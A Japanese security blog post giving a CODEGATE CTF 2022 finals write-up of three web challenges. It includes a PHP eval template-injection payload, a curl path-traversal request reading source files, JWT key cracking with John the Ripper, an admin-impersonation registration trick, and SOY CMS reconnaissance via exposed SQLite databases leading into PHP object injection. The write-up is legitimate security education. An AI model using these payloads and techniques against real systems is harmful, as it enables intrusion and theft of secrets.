ラック・セキュリティごった煮ブログ

セキュリティエンジニアがエンジニアの方に向けて、 セキュリティやIT技術に関する情報を発信していくアカウントです。

【お知らせ】2021年5月10日~リニューアルオープン!今後はこちらで新しい記事を公開します。

株式会社ラックのセキュリティエンジニアが、 エンジニアの方向けにセキュリティやIT技術に関する情報を発信するブログです。(編集:株式会社ラック・デジタルペンテスト部)
当ウェブサイトをご利用の際には、こちらの「サイトのご利用条件」をご確認ください。

デジタルペンテスト部提供サービス:ペネトレーションテスト

CODEGATE CTF 2022決勝大会のwriteup

こんにちは、デジタルペンテスト部のst98です。

2022年11月7日(月)から2022年11月8日(火)にわたって、韓国のソウルで開催されたCODEGATE CTF 2022の決勝大会に、チームzer0ptsのメンバーとして参加してきました。zer0ptsは参加した10チーム中6位という結果でしたが、大会を楽しむことができました。

本記事では、このCTFで出題された問題の解法を紹介したいと思います。いわゆるwriteupです。


CODEGATE CTF 2022について

CODEGATEは、韓国の政府機関である科学技術情報通信部が主催しているセキュリティカンファレンスです*1。CODEGATEは今回で14回目の開催になりますが、それにあわせてCODEGATE CTFも開催されてきたようです*2*3

CODEGATE CTFは、全世界の誰でも参加できるGeneralと、19歳未満の人だけが参加できるJunior、そして韓国国内の大学チーム同士が争うUniversityの3つの部門に分かれています。2月に予選大会が開催され、それを突破した個人やチームがこの決勝大会に集まりました。今回、General部門の決勝大会には世界各国から10チームが参加していました。もちろん、zer0ptsはGeneral部門での参加でした*4

本大会では、Jeopardy形式が採用されていました。これがどんな形式であるかについては、International Cybersecurity Challenge (ICC) 2022に参加した際の記事で説明しましたので、そちらをご覧ください。出題カテゴリもWeb, Pwn, Crypto, Reversingといったオーソドックスなものがメインでしたが、それに加えてBlockchainやその他のMiscも存在していました。

競技時間は24時間と一般的な長さではありますが、今回はオンサイトということで、24時間会場が開かれているような状況でした*5。途中でホテルに帰るもよし、徹夜で問題に取り組むもよし、チームや人によって好きに時間を使っていました。なお、私やほかのメンバーは後者を選びました*6

オンサイトのCTFでよくあるルールとして、競技に参加するのは現地にいる4人までのメンバーのみで、リモートでほかのメンバーからの支援を受けてはならないというものがありました。今回、zer0ptsは日本からはkeymoonさん、ptr-yudaiさん、そして私が、チュニジアからはKahlaさんが参加しました*7

[Web 140] blog (10 solves)

this is just simple blog

(問題サーバのURL)

添付ファイル: for_users.zip

概要

自分だけのブログが作れるサービスです。適当なユーザ名(neko)とパスワードでユーザ登録し、ログインすると、ブログ記事を書けるフォームへのリンクが表示されました。

送信して書き込むと、/?cls=blog&action=view&blog=neko にリダイレクトされて、以下のように今書き込んだ記事が表示されました。もう一度別の内容を書き込んでみたものの、同じURLにリダイレクトされた上に内容も更新されていませんでしたから、どうやら1ユーザにつきひとつしか記事を持てないようです。

ソースコードが添付されていました。このような場合にやるべきことは、フラグがどこに配置されているかを確認することです。フラグフォーマットである codegate で検索してみると、config/config.php という以下の内容のファイルがヒットしました。DBの認証情報などの設定のひとつとして、フラグが存在しているようです。

<?php
    if(!defined('__MAIN__')) die('not allow to direct access');

    define('__TEMPLATE__', './templates/');

    $config = array();
    $config['flag'] = 'codegate2022{this_is_flag}';
    $config['db_host'] = 'db';
    $config['db_user'] = 'blog';
    $config['db_pass'] = 'blogblog';
    $config['db_name'] = 'blog';
    $config['database'] = mysqli_connect($config['db_host'], $config['db_user'], $config['db_pass'], $config['db_name']);
    $config['default_template'] = <<<HTML
<html>
    <head>
        <title>{\$owner} blog</title>
    </head>
    <body>
        <center>
            {\$title}
            <hr>
            {\$content}
        </center>
    </body>
</html>
HTML;
?>

DBの認証情報が決め打ちなので、直接接続するのはどうかと一瞬考えましたが、docker-compose.yml では以下のように db コンテナは外部から接続できない設定になっていました。

version: '3.3'
services:
  web:
    build:
      context: ./
      dockerfile: Dockerfile
    container_name: php73
    depends_on:
      - db
    volumes:
      - ./html:/var/www/html/
    ports:
      - 80:80
  db:
    container_name: mysql8
    image: mysql:8.0
    command: --default-authentication-plugin=mysql_native_password
    restart: always
    environment:
      MYSQL_ROOT_PASSWORD: wowowowowowowowowowowwo
      MYSQL_DATABASE: blog
      MYSQL_USER: blog
      MYSQL_PASSWORD: blogblog
    volumes:
      - ./schema.sql:/docker-entrypoint-initdb.d/1-init.sql

ソースコードの読解

何かしらの条件でこの $config['flag'] が表示されるかもしれないと考えて、ほかにこれを参照している箇所がないか flag で検索してみましたが、config.php と後ほど言及する util.php 以外には1件も見つかりませんでした。

つまり、フラグを得るには config.php を何らかの方法で読むしかないわけです。Path Traversalであるとか、RCEであるとか。そのために、ほかの部分のコードも読んでいきましょう。

まずは index.php です。cls, action というクエリパラメータから表示するページを決めているようです。cls の方には対応するクラス名が、action にはそのクラス中で定義されている何らかのアクションが入るようです。new $cls($action) と危なっかしいことをしていますが、悪用する方法がぱっと思い浮かばないので、いったん置いておきます。

<?php
    define('__MAIN__', true);
    session_start();

    include('./config/config.php');
    include('./lib/autoload.php');
    include('./lib/util.php');

    $cls = @$_GET['cls'] ? ucfirst(@$_GET['cls']) : 'main'; 
    $action = @$_GET['action'] ? @$_GET['action'] : 'index';


    $class = new $cls($action);
    $class->init();
    

?>

ブログ記事の書き込みなどに関係する、controller/blog/index.phpBlog クラスを見ていきます。ブログ記事を表示する処理である view 周りを見ていきましょう。init からさらに view が呼び出され、GETメソッドでのリクエストである場合にはさらに view_blog が呼び出されます。

view_blog ではまずDBの blog テーブルから、要求されたユーザのブログ記事に関する情報を取得しています。その後の処理が奇妙で、なにやら template テーブルからテンプレートを取得しようとしています。もし存在しなかった場合には、$config['default_template'] と先ほど config.php で確認したデフォルトのテンプレートを使用します。

このテンプレートのレンダリングは、eval("\$template=\"$template\";"); と危険な方法で行われているようです。なんとかして $template を危険なものに変えられないでしょうか。

<?php
    if(!defined('__MAIN__')) die('not allow to direct access');

    class Blog { 
        public $action = '';
        function __construct($action) {
            $this->action = $action;
        }
        function init(){
            if(!method_exists($this, $this->action)) {
                exit('invalid method');
            }
            
            call_user_func(array($this, $this->action));
        }
//…
        private function view() {
            if(strtolower(get_method()) === 'get') {
                $this->view_blog();
            }
            else{
                die('invalid request'); 
            }

        }
//…
        private function view_blog() {
            global $config;

            $user = addslashes($_GET['blog']);
            if(!$user) alert('invalid parameter', '/');

            $query = mysqli_query($config['database'], "SELECT * FROM blog WHERE owner='{$user}' order by idx limit 0,1;");
            $blog = mysqli_fetch_array($query);

            if(!$blog && $_SESSION['id'] && $_SESSION['id'] === $user){
                alert('write article plz', '/?cls=blog&action=write');
            }
            else if(!$blog){
                alert('blog not found', '/');
            }
 
            $query = mysqli_query($config['database'], "SELECT * FROM templates WHERE owner='{$user}';");
            $template = mysqli_fetch_array($query);
            
            if(!$template){
                $template = $config['default_template'];
            }
            else {
                $template = $template['template'];
            }
                               
            $title   = $blog['title'];
            $content = $blog['content'];
            $owner   = $blog['owner'];

            eval("\$template=\"$template\";");

            include(__TEMPLATE__ . 'blog/view.php');
        }

    }
?>

この Blog には、modify というテンプレートを変更するためのアクションがあることに気づきました。check_template という関数によるチェックを通る必要があるようですが。

<?php
    if(!defined('__MAIN__')) die('not allow to direct access');

    class Blog { 
// …
        private function modify() {
            if(!is_login()){
                alert('Plz login first', '/?cls=user&action=login');
            }

            if(strtolower(get_method()) === 'get') {
                $this->view_modify();
            }
            else{
                $this->do_modify();
            }

        }
// …
        private function do_modify(){
            global $config;

            $user = addslashes($_SESSION['id']);

            if(!$_POST['template']) alert('not found template parameter', 'back');
            
            $template = ($_POST['template']);
            if(check_template($template)) alert('invalid template', 'back');
            $template = addslashes($template);
            $query = "UPDATE templates SET template='{$template}' WHERE owner='{$user}'";
            if(!mysqli_query($config['database'], $query)){
                alert('error', 'back');
            }
            
            alert('success', '/?cls=blog&action=view&blog='.$user);
        }
//…
?>

check_template は先程ちらっと言及した lib/util.php で定義されています。まず、preg_match によって $config['flag'] への参照や、${$x} のような展開を禁止しているように見えます。

preg_replace で使われている正規表現がなかなか芸術的ですが、Regexperregex101のようなツールも使いつつ読むと、{$x}, {$x->y}, {$x['y']} など、考えうる変数の展開のパターンをテンプレートからすべて削除した文字列について、それでも {$x} のような文字列が残っていないかチェックする処理とわかります。

<?php
    if(!defined('__MAIN__')) die('not allow to direct access');
// …
    function check_template($template)
    {
        if(preg_match('#\$config\[(([\'|"](flag|database|hostname|password|table_prefix|username)[\'|"])|([^\'"].*?))\]#i', $template))
        {
            return true;
        }

        if(preg_match('#\$\s*\{#', $template))
        {
            return true;
        }

        if(preg_match("~\\{\\$.+?\\}~s", preg_replace('~\\{\\$+[a-zA-Z_][a-zA-Z_0-9]*((?:-\\>|\\:\\:)\\$*[a-zA-Z_][a-zA-Z_0-9]*|\\[\s*\\$*([\'"]?)[a-zA-Z_ 0-9 ]+\\2\\]\s*)*\\}~', '', $template)))
        {
            return true;
        }

        return false;
    }
// …
?>

フラグを得る

と、ここまで長々とテンプレート周りの処理を見てきましたが、{$config['db_host']}".var_dump($config)."ge のようなテンプレートを入力したところ、フラグが出てきました。

eval("\$template=\"$template\";");" で囲まれた文字列中にテンプレートを埋め込む形でレンダリングしていたわけですが、テンプレート中に含まれる " の処理が甘かったために、その構造を破壊できたわけです。

codegate2022{2658d01be9f7900cec8cddccc49752f9}

warmup的な問題だったのか、全チームが解いていました。PHPのコードがややトリッキーではありますが、テンプレートを変更する機能があることや、そのレンダリングeval で行われていることに気づけばあとは一直線という問題だったように思います。

[Web 220] Pinch! (8 solves)

Pinch! Pinch!

(問題サーバのURL)

[redacted code] is intended.

添付ファイル: for_users.tar.gz

概要

謎のサービスです。与えられたURLにアクセスすると、以下のように登録ページ、ログインページ、そして掲示板へのリンクが表示されました。

適当なユーザ名で登録・ログインした上で掲示板を確認してみましたが、以下のようにadminしか閲覧できないと言われました。

jwt というキーで以下のようなCookieが保存されていました。明らかにJWTです。jwt.ioで確認してみると、{"id":"neko"} のようなペイロードが入っていることが確認できました。これを admin などに変えられればよいのでしょう。

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Im5la28ifQ.77-977-9Ay_vv71377-9Mkrvv71A77-9SDAAce-_ve-_vWLOlu-_vR7vv71VT1Xvv73vv73vv73vv70

ソースコードが添付されていました。.scala というファイルの拡張子からScalaであることがわかりますし、以下のような内容の build.sbt からfinchというWebアプリケーションフレームワークxuwei-k/jwt-scalaというJWTを扱うためのライブラリが使われていることがわかります。

ThisBuild / scalaVersion     := "2.13.8"
ThisBuild / version          := "0.1.0-SNAPSHOT"
ThisBuild / organization     := "com.example"
ThisBuild / organizationName := "example"

libraryDependencies ++= Seq(
  "com.github.finagle" %% "finch-core" % "0.34.0",
  "com.github.finagle" %% "finch-circe" % "0.34.0",
  "com.github.xuwei-k" %% "jwt-scala" % "1.8.1"
)

また、Dockerfileからアプリケーションが配置されているパスであるとか、使われているイメージがわかります。

FROM hseeberger/scala-sbt:17.0.2_1.6.2_3.1.1

RUN mkdir -p /usr/src/app
ADD server/ /usr/src/app

WORKDIR /usr/src/app

EXPOSE 3000

CMD ["sbt","run"]

しかしながら、添付されていたScalaのコードはすべて以下のように削除されていました。結局のところ、使われているScalaのバージョンやライブラリ、あとはファイルのパスぐらいしか情報は得られていません。仕方がないので、ブラックボックスにサービスの脆弱性を探すことにします。

[redacted code]

JWTの問題…?

まず考えるのは、JWTに対する攻撃です。アルゴリズムに対する攻撃として none への変更が考えられますが、これは私が問題を確認した時点でKahlaさんによって検証されていました。また、xuwei-k/jwt-scalaソースコードからも明示的に none をアルゴリズムとして使うと指定されていなければ弾かれることがわかっていました。

今回はアルゴリズムHS256 が使われていたので、鍵のブルートフォースによって突破できないかとも考えました。しかしながら、John the Ripperとrockyou.txtを使って以下のようにクラックを試みたものの、失敗しました*8

$ john --wordlist=/usr/share/dict/rockyou.txt jwt.john
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:01 DONE (2022-11-07 11:59) 0g/s 9757Kp/s 9757Kc/s 9757KC/s (CUTERYAN..*7¡Vamos!
Session completed

試しに署名データをURL-safe Base64デコードしてみると、様子がおかしいことに気づきました。ef bf bd がやたらと多くなっています。これはU+FFFDをUTF-8としてエンコードしたバイト列です。本来バイト列としてそのまま扱うべきデータを、UTF-8として無理やりデコードした上に、それをUTF-8エンコードしたりしたのでしょうか*9*10

この謎の挙動を見てまず考えるのは、ユーザを作りまくって、署名データが全部この ef bd bd で埋まるようなJWTを作ることでした。ただ、これに置換される条件はおそらくそのバイトが0x80以上であることですから、2分の1を32回連続で当てなければならないことになります。ネットワーク越しにやるのは現実的ではありません。このほかにも、たとえばバイナリセーフでないという可能性も考えましたが、検証してそうでないことがわかりました。

もしかしてJWTは関係ない…? と思いつつKahlaさんと xuwei-k/jwt-scalaソースコードを上から下まで眺めましたが、結局のところ先程のバグ以外にまずそうな脆弱性は見つかりませんでした。0-day問ではなかったようです。

Path Traversal

意味ありげなJWTはなんだったのだろうと思いつつ色々試していると、静的ファイルを提供する /static/ でPath Traversalができることに気づきました。嘘でしょう。

$ curl -i --path-as-is "http://(省略)/static/../main/scala/pinch/Main.scala"
HTTP/1.1 200 OK
Date: Mon, 07 Nov 2022 04:29:39 GMT
Server: Finch
Content-Type: text/scala
Content-Length: 7469

package pinchimport cats.effect.{ExitCode, IO, IOApp}import com.twitter.finagle.http.{Request, Response}import scala.io.Sourceimport com.twitter.io.Bufimport java.io.Fileimport play.api.libs.json.{Json, JsObject}import cats.implicits._import scala.util.parsing.json._import…

出力されたScalaコードからは改行コードが消えてしまっていますが、インデントや import 文などを頼りに改行コードを入れ直すことができます。s/(\s{2,})/\n$1/ のようにインデントが出現すればそこで改行するように置換する正規表現を使ったりして、頑張って実行可能な形に戻しました。

さて、これでソースコードが手に入れられました。まず気になるのはフラグの在り処とその表示される条件です。admin というユーザになればフラグが得られそうだと推測していましたが、本当にそうでしょうか。

flag で検索してみると、以下のように secrets/flag.txt からなにやら読み込んで、boards というDBのテーブルに挿入している様子が確認できました。JWTの署名・検証に使う共通鍵(jwtKey)や、adminのログインに使われるパスワード(adminPw)も同じディレクトリにあるファイルから読み込まれています。それらをまたPath Traversalで読み込んで終わりかと思いきや、new File("secret/flag.txt").delete() のようにファイルが削除されてしまっています。

package pinch
import cats.effect.{ExitCode, IO, IOApp}
import com.twitter.finagle.http.{Request, Response}
import scala.io.Source
import com.twitter.io.Buf
import java.io.File
import play.api.libs.json.{Json, JsObject}
import cats.implicits._
import scala.util.parsing.json._
import io.really.jwt._
import io.finch._
import pinch.db._

object Main extends IOApp with Endpoint.Module[IO] {
  private val db = new DB
  private val flag
         = Source.fromFile("secret/flag.txt").getLines.mkString
  private val jwtKey
       = Source.fromFile("secret/key.txt").getLines.mkString
  private val adminId
      = "th1s_1s_S3cre7_4dm1n_acc0unt"
  private val adminPw
      = Source.fromFile("secret/pw.txt").getLines.mkString
//…
  override def run(args: List[String]): IO[ExitCode] = {
    db.createDatabase("pinch")
        query ( db, "pinch", create ("users") cols ("id", "pw") )
    query ( db, "pinch", create ("boards") cols ("title", "content") )
    query ( db, "pinch", insert ("users") values ("id" -> adminId, "pw" -> adminPw) )
    query ( db, "pinch", insert ("boards") values ("title" -> "flag", "content" -> flag) )
    val htmlRoute = htmlIndex :+: htmlBoard :+: htmlLogin :+: htmlRegister
    val apiRoute
  = apiLogin :+: apiRegister :+: apiBoard
    new File("secret/flag.txt").delete()
    new File("secret/pw.txt").delete()
    new File("secret/key.txt").delete()
    Bootstrap[IO]
      .serve[Text.Plain](htmlRoute :+: staticRoute :+: apiRoute)
      .listen(":3000").useForever
  }
}

boards が参照されている箇所を探します。この apiBoard/api/board へのアクセスがあった際に呼び出されるメソッドです。ユーザからPOSTされたJSONに含まれているJWTを検証している様子が確認できます。もしそのIDが adminId (th1s_1s_S3cre7_4dm1n_acc0unt) と一致していれば boards の中身、つまりフラグを表示する処理がなされています。なるほど、管理者のIDは admin ではなかったようです。

  private val apiBoard: Endpoint[IO, Response] = post("api" :: "board" :: stringBody) { (json: String) =>
     JSON.parseFull(json) match {
      case Some(v: Map[String, String]) => {
        v.get("jwt") match {
          case Some(jwt) => {
            JWT.decode(jwt, Some(jwtKey)) match {
              case JWTResult.JWT (header: JWTHeader, payload: JsObject) => {
                val result = payload.as[Map[String, String]]
                result.get("id") match {
                  case Some(id) => {
                    if (id == adminId) {
                      val result = query ( db, "pinch", select ("title", "content") from "boards" )
                       result match {
                        case Some(v) => {
                          v.get("content") match {
                            case Some(v) => {
                              mkJsonResponse(s"{\"status\": \"ok\", \"text\": \"$v\"}")
                            }
                            case _ => throw new Exception
                          }
                        }
                        case _ => throw new Exception
                      }
                            }
                    else mkJsonResponse("{\"status\": \"ok\", \"text\": \"board read admin only :(\"}")
                  }
                  case _ => throw new Exception
                }
              }
              case _ => throw new Exception
            }
          }
          case _ => throw new Exception
        }
      }
      case _ => throw new Exception
    }
  } handle {
    case e: Exception => InternalServerError(e)
  }

フラグを得る

th1s_1s_S3cre7_4dm1n_acc0unt というユーザ名で登録することを考えますが、もちろんそれは塞がれています。エントリーポイントである run メソッドで query ( db, "pinch", insert ("users") values ("id" -> adminId, "pw" -> adminPw) ) とすでにそのユーザ名のユーザが作成されていますし、以下のように登録時にもすでにそのユーザ名が登録されていないかチェックされています。

  private val apiRegister: Endpoint[IO, Response] = post("api" :: "register" :: stringBody) { (json: String) =>
     JSON.parseFull(json) match {
      case Some(v: Map[String, String]) => {
        val id = v.get("id") match {
          case Some(v) => v
          case _ => throw new Exception
        }
        val pw = v.get("pw") match {
          case Some(v) => v
          case _ => throw new Exception
        }
        val result = query ( db, "pinch", select ("id") from "users" where (equal ("id", id)) )
        result match {
          case Some(v) => {
            v.get("id") match {
              case Some(v) => {
                if (v.length == 0) {
                  query ( db, "pinch", insert ("users") values ("id" -> id, "pw" -> pw) )
                  mkJsonResponse("{\"status\": \"ok\"}")
                } else {
                  throw new Exception
                }
              }
              case _ => throw new Exception
            }
          }
          case _ => throw new Exception
        }
              }
      case _ => throw new Exception
    }
  } handle {
    case e: Exception => InternalServerError(e)
  }

ただ、もし th1s_1s_S3cre7_4dm1n_acc0unt(スペース) のように後ろにスペースを付け加えたらどうなるだろうかと考えました。試しにそのユーザ名で登録を試みると、無事できました。そして、ログイン時にユーザ名には th1s_1s_S3cre7_4dm1n_acc0unt とスペースのないものを、パスワードはスペース付きのユーザで使用したものを入力してログインしてみると、なんと成功しました。そのままadminしか閲覧できないページに行くと、フラグが得られました。なぜ…?

codegate2022{afa1a77a09489171b664d012b2332f4153d537f733e3aef0847a62a2955193cf}

この問題で初めてScalaを読みました。いわゆるSQL Truncation Attackと呼ばれる手法に類する攻撃をする問題でしたが、まさか2022年になって見るとは思いませんでした。SQLと言いましたが、実は Db.scala を見るとこれはORMライブラリですらなく、完全に自前かつピュアなScalaによるDBの実装であることがわかります。にもかかわらず、なぜこの攻撃が通るのか、writeupを書いている今になってもまだ理由はわかっていません。

JWTのライブラリのバグが解くために全く必要なかったことには驚きました。あれは一体なんだったのでしょうか。

[Web 340] nday (5 solves)

I cannot log into my blog instance right now. You have to exploit my buggy blog and pwn the system.

No source code this time, but I made some mistakes during the initial setup process, so it should be easy for you to exploit this service.

ps1. Sorry, I didn't have time to create challenges lol. Forget about WordPress 0day. It's a 24hr CTF after all.

ps2. If anything's found to be broken, it's all intended. Server reboots regularly.

Useful Information

  • The flag is in /flag
  • The server reboots in every 5 minutes
  • You don't have to bruteforce too much. We may ban IPs that are bruteforcing way too much. There is no point of bruteforcing too much
  • The official build ships with two different editions. You probably need to check both.
  • The blog was initially built back in 2017~2020. Please note that there are two official builds.
  • 413 is intended. shorten your exploit or find a good way to exploit 🙂

-- stypr

(問題サーバのURL)

概要

添付ファイルはありませんでした。与えられたURLにアクセスすると、以下のように "dev blog in progress.." とだけ表示されました。ほかのページへのリンクなどはありません。

.git, robots.txt, .well-known, wp-admin などのファイルやディレクトリがないか手作業で調べてみましたが、どれもありません。DirBusterをすべきか迷ったところで、Kahlaさんが /admin/ というディレクトリを見つけてくれました。アクセスすると次のようなログインフォームが表示され、このサーバではSOY CMSが動いていると推測できます。

「SOY CMS 脆弱性」などでググると、一昨年に発見された脆弱性に関する情報が色々とヒットします。その中には、脆弱性の報告者かつこの問題の作問者であるstyprさんが書かれた脆弱性の解説記事もあります*11。読んでみると、中にはRCEもありますが、XSSCSRFができることを前提としているものもあることに気づきます。

この記事で説明されている脆弱性を悪用できる前提条件を確認すると、CVE-2020-15182, CVE-2020-15183, CVE-2020-15189はXSSCSRFのようにログイン済みのユーザを悪意のあるページに誘導したり、あるいはすでにユーザとしてログインできている必要があるとわかります。一方で、CVE-2020-15188(記事中ではCVE-2020-15182とされていますが、おそらく誤りです)はpre-authなRCEです。

CVE-2020-15188はログインの必要なくRCEに持ち込める脆弱性のようで、有用に見えます。しかしながら、3点問題があります。

1つ目の問題は、問題サーバでデプロイされているSOY CMSが脆弱なバージョンであるかわからないという点です。少なくともログインフォームの見える部分にはバージョン情報が出力されていませんし、Server ヘッダなどにも出力されていませんでした。なんとかして調べる必要があります。

2つ目の問題は、SOY Inquiryというプラグインが有効化されている必要があるという点です。先程確認したように、私たちは管理者としてログインするためのフォームしかパスがわかっていません。SOY Inquiryが有効化されているかはわかりませんし、有効化されていたとしてもどこにフォームが存在しているかはわかっていません。探す方法はないでしょうか。

3つ目の問題は、完全なPoCが公開されていないという点です。上述の記事で、どんな場面でどんなデータを送ると、サーバ側でユーザから与えられた文字列が unserialize されるかはわかります。しかしながら、このPHP Object InjectionをRCEにつなげるには、ソースコードに存在するgadgetと呼ばれるものを探して、POP chainと呼ばれるものを組み立てる必要があります。なお、PHP Object Injectionについては後ほど説明します。

これらの問題について、ひとつひとつ片付けていきましょう。

バージョン情報を探す

バージョン情報が出力される箇所がないか、SOY CMSソースコードで探していました。すると、脆弱なバージョンである3.0.2の admin/webapp/pages/Login/IndexPage.class.php に以下のような処理を見つけました。CSSの読み込み時に、その読み込み先としてクエリパラメータにバージョン情報をくっつけています。

<?php
//…
        //CSS読み込み
        HTMLHead::addLink("login_style",array(
                "rel" => "stylesheet",
                "type" => "text/css",
                "href" => SOY2PageController::createRelativeLink("./css/login/style.css")."?".SOYCMS_BUILD_TIME
        ));
//…

問題サーバのログインフォームのHTMLを確認してみると、以下のように 1528884512 というバージョン情報がくっついていました。

common/soycms.config.php というファイルを確認すると、3.0.2では SOYCMS_BUILD_TIME の値として 1528884512 が指定されていることがわかります。なるほど、問題サーバは脆弱なバージョンを使っているようです。よかった。

<?php
define("SOYCMS_DB_TYPE",       "sqlite");
define("SOYCMS_VERSION",       "3.0.2");
define("SOYCMS_BUILD",         "2018-06-13T10:08:31+0000");
define("SOYCMS_BUILD_TIME",    "1528884512");
define("SOYCMS_REVISION",      "45488");
if(!defined("SOY2HTML_CACHE_FORCE"))define("SOY2HTML_CACHE_FORCE", false);

問い合わせフォームを探す

といっても、どうやって探すべきか迷います。とりあえず、先程の脆弱性を悪用できる条件が整った場合にはどのようなファイルが存在しているか、確認します。SOY CMS 3.0.2(SQLite3版)の初期設定後、SOY Inquiryの管理画面で適当な nekochan という名前のフォームを作成します。

「SOY CMS連携」から問い合わせフォームの表示に必要なコードのうち、「標準ページ」などでも使用可能なものをコピーしておきます。適当な test という名前のサイトを作成後に、neko というパスの「標準ページ」を作成して、その内容をペーストします。これで、問い合わせフォームの設定ができました。

さて、ここまでの過程で作成されたファイルやディレクトリを確認します。まず、ドキュメントルートに test という今作成したWebサイトのためのディレクトリが増えています。それから、common ディレクトリ下に db というディレクトリが増えています。

db ディレクトリの下には、cms.db, file.db, inquiry.db という興味深いファイルがありました。file コマンドで確認すると、これらはSQLite3のファイルであることがわかります。

$ file *
cms.db:     SQLite 3.x database, last written using SQLite version 3031001
file.db:    SQLite 3.x database, last written using SQLite version 3031001
inquiry.db: SQLite 3.x database, last written using SQLite version 3031001
readme:     ASCII text, with no line terminators

file.db には、存在しているファイルの情報などが含まれているようです。中には作成したWebサイトのパス(test)もあります。

$ sqlite3 file.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
cmsfile
sqlite> SELECT * FROM cmsfile;
1|test|/mnt/…/soycms_3.0.2_sqlite/test|/|||1||0|1668494825|1668494825
2|css|/mnt/…/soycms_3.0.2_sqlite/test/css|/css|1||1||0|1668494825|1668494825
3|files|/mnt/…/soycms_3.0.2_sqlite/test/files|/files|1||1||0|1668494825|1668494825
4|image|/mnt/…/soycms_3.0.2_sqlite/test/image|/image|1||1||0|1668494825|1668494825
5|js|/mnt/…/soycms_3.0.2_sqlite/test/js|/js|1||1||0|1668494825|1668494825

inquiry.db には問い合わせフォームの情報が色々入っていました。中には、どのパスから問い合わせをされたか(/test/neko)という情報もあります。

$ sqlite3 inquiry.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
soyinquiry_column        soyinquiry_form          soyinquiry_serverconfig
soyinquiry_comment       soyinquiry_inquiry
sqlite> SELECT * FROM soyinquiry_inquiry;
1|1-0240-1787|1|お名前        : cat
メールアドレス: a@example.com
件名          :
問い合わせ内容: neko|a:4:{i:1;s:3:"cat";i:2;s:13:"a@example.com";i:3;s:0:"";i:4;s:4:"neko";}|0|1668495967|/test/neko

cms.db には管理者の認証情報が格納されていましたが、パスワードはソルトをふりかけてSHA-512で50000回ストレッチしたものらしく堅固です。

$ sqlite3 cms.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
Administrator           CookieLogin             SiteRole
AppRole                 Site                    soycms_admin_data_sets
sqlite> SELECT * FROM Administrator;
1|adminadmin|sha512/888fb7888fa573020e39b66ae8233e0e/2877ff6d14af1eb4a92b2ed6634cc6fd41d1940b8d038ae24023559eebde90708b4f75b9b6b30662d8f6220bcc72c5d7468fb4a9a0fd31ac66efc240beabdea1/50000|1||||

作成された test ディレクトリ下にも .db というディレクトリがあります。中にある sqlite.db にはページのパス(neko)などの情報が含まれていました。

$ sqlite3 sqlite.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
Block             EntryHistory      Page              soycms_data_sets
Entry             EntryLabel        SiteConfig
EntryAttribute    EntryTrackback    Template
EntryComment      Label             TemplateHistory
sqlite> SELECT uri FROM Page;
_notfound
neko

これらから、common/db/file.db からWebサイトのパスの情報が得られ、さらに (Webサイトのパス)/.db/sqlite.db からはそのWebサイトに存在するページのパスの情報が得られることがわかります。問題サーバでまず /common/db/file.db にアクセスできるか試してみると、なんと403でなく200で返ってきました! 早速 sqlite3 で確認すると、s3cr3tf1nalp4ge というパスにWebサイトが存在することがわかりました。

$ sqlite3 file.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
cmsfile
sqlite> select * from cmsfile;
1|s3cr3tf1nalp4ge|/var/www/html/s3cr3tf1nalp4ge|/|||1||0|1667650465|1667650465
2|css|/var/www/html/s3cr3tf1nalp4ge/css|http://141.164.45.141/s3cr3tf1nalp4ge/css|1||1||0|1667650465|1667650465
3|files|/var/www/html/s3cr3tf1nalp4ge/files|http://141.164.45.141/s3cr3tf1nalp4ge/files|1||1||0|1667650465|1667650465
4|image|/var/www/html/s3cr3tf1nalp4ge/image|http://141.164.45.141/s3cr3tf1nalp4ge/image|1||1||0|1667650465|1667650465
5|js|/var/www/html/s3cr3tf1nalp4ge/js|http://141.164.45.141/s3cr3tf1nalp4ge/js|1||1||0|1667650465|1667650465

/common/db/inquiry.db からは、/s3cr3tf1nalp4ge/c0nt6c71zzzcvc というパスから問い合わせがされたという記録が取得できました。このパスに問い合わせフォームがあるはずです。

$ sqlite3 inquiry.db
sqlite> select * from soyinquiry_inquiry;
1|1-8858-4572|1|お名前        : f
メールアドレス: f@gf.com
件名          : f
問い合わせ内容: f|a:4:{i:1;s:1:"f";i:2;s:8:"f@gf.com";i:3;s:1:"f";i:4;s:1:"f";}|0|1667651667|/s3cr3tf1nalp4ge/c0nt6c71zzzcvc

アクセスしてみると、問い合わせフォームが表示されました。これに対してCVE-2020-15188を突く攻撃を行えばよさそうです。

PHP Object Injection / Insecure Deserializationとは

攻撃を始める前に、CVE-2020-15188でRCEに持ち込むために使うPHP Object Injectionについての一般的な説明をします。まず、PHP Object Injectionは、以下のようにユーザ入力が unserialize という関数に渡ってしまうという脆弱性(CWE-502)です。Insecure Deserializationは、PHPに限らずほかの言語で起こるものも含めて一般化したものをいいます。

<?php
unserialize($_GET['payload']);

この unserialize というのは、serialize という関数と対になる存在です。serialize は一部のオブジェクトを除いて、オブジェクトを後から復元可能な形に文字列化(シリアライズ)できる関数です。それに対して、unserializeserialize が出力した文字列から元のオブジェクトを再現しようとする(アンシリアライズ)関数です。

serializeunserialize を使うコードを以下に示します。

<?php
class A {}
$serialized = serialize([ 1, new A, 'hoge' ]);
echo "serialized: ";
var_dump($serialized);

echo "---\n";

$unserialized = unserialize($serialized);
echo "unserialized: ";
var_dump($unserialized);

このコードを実行してみると、まず serialize に与えた配列がシリアライズされたものが出力されていることがわかります。そして、それを unserialize でアンシリアライズし、元の配列のように 1 という数値、Aインスタンスhoge という文字列を要素として持つ配列が出力されていることがわかります。

$ php s.php
serialized: string(45) "a:3:{i:0;i:1;i:1;O:1:"A":0:{}i:2;s:4:"hoge";}"
---
unserialized: array(3) {
  [0]=>
  int(1)
  [1]=>
  object(A)#1 (0) {
  }
  [2]=>
  string(4) "hoge"
}

これだけだとただの便利な関数に見えますが、それの何がまずいのでしょうか。そのまずい部分は、unserialize 時に呼び出されるメソッドにあります。

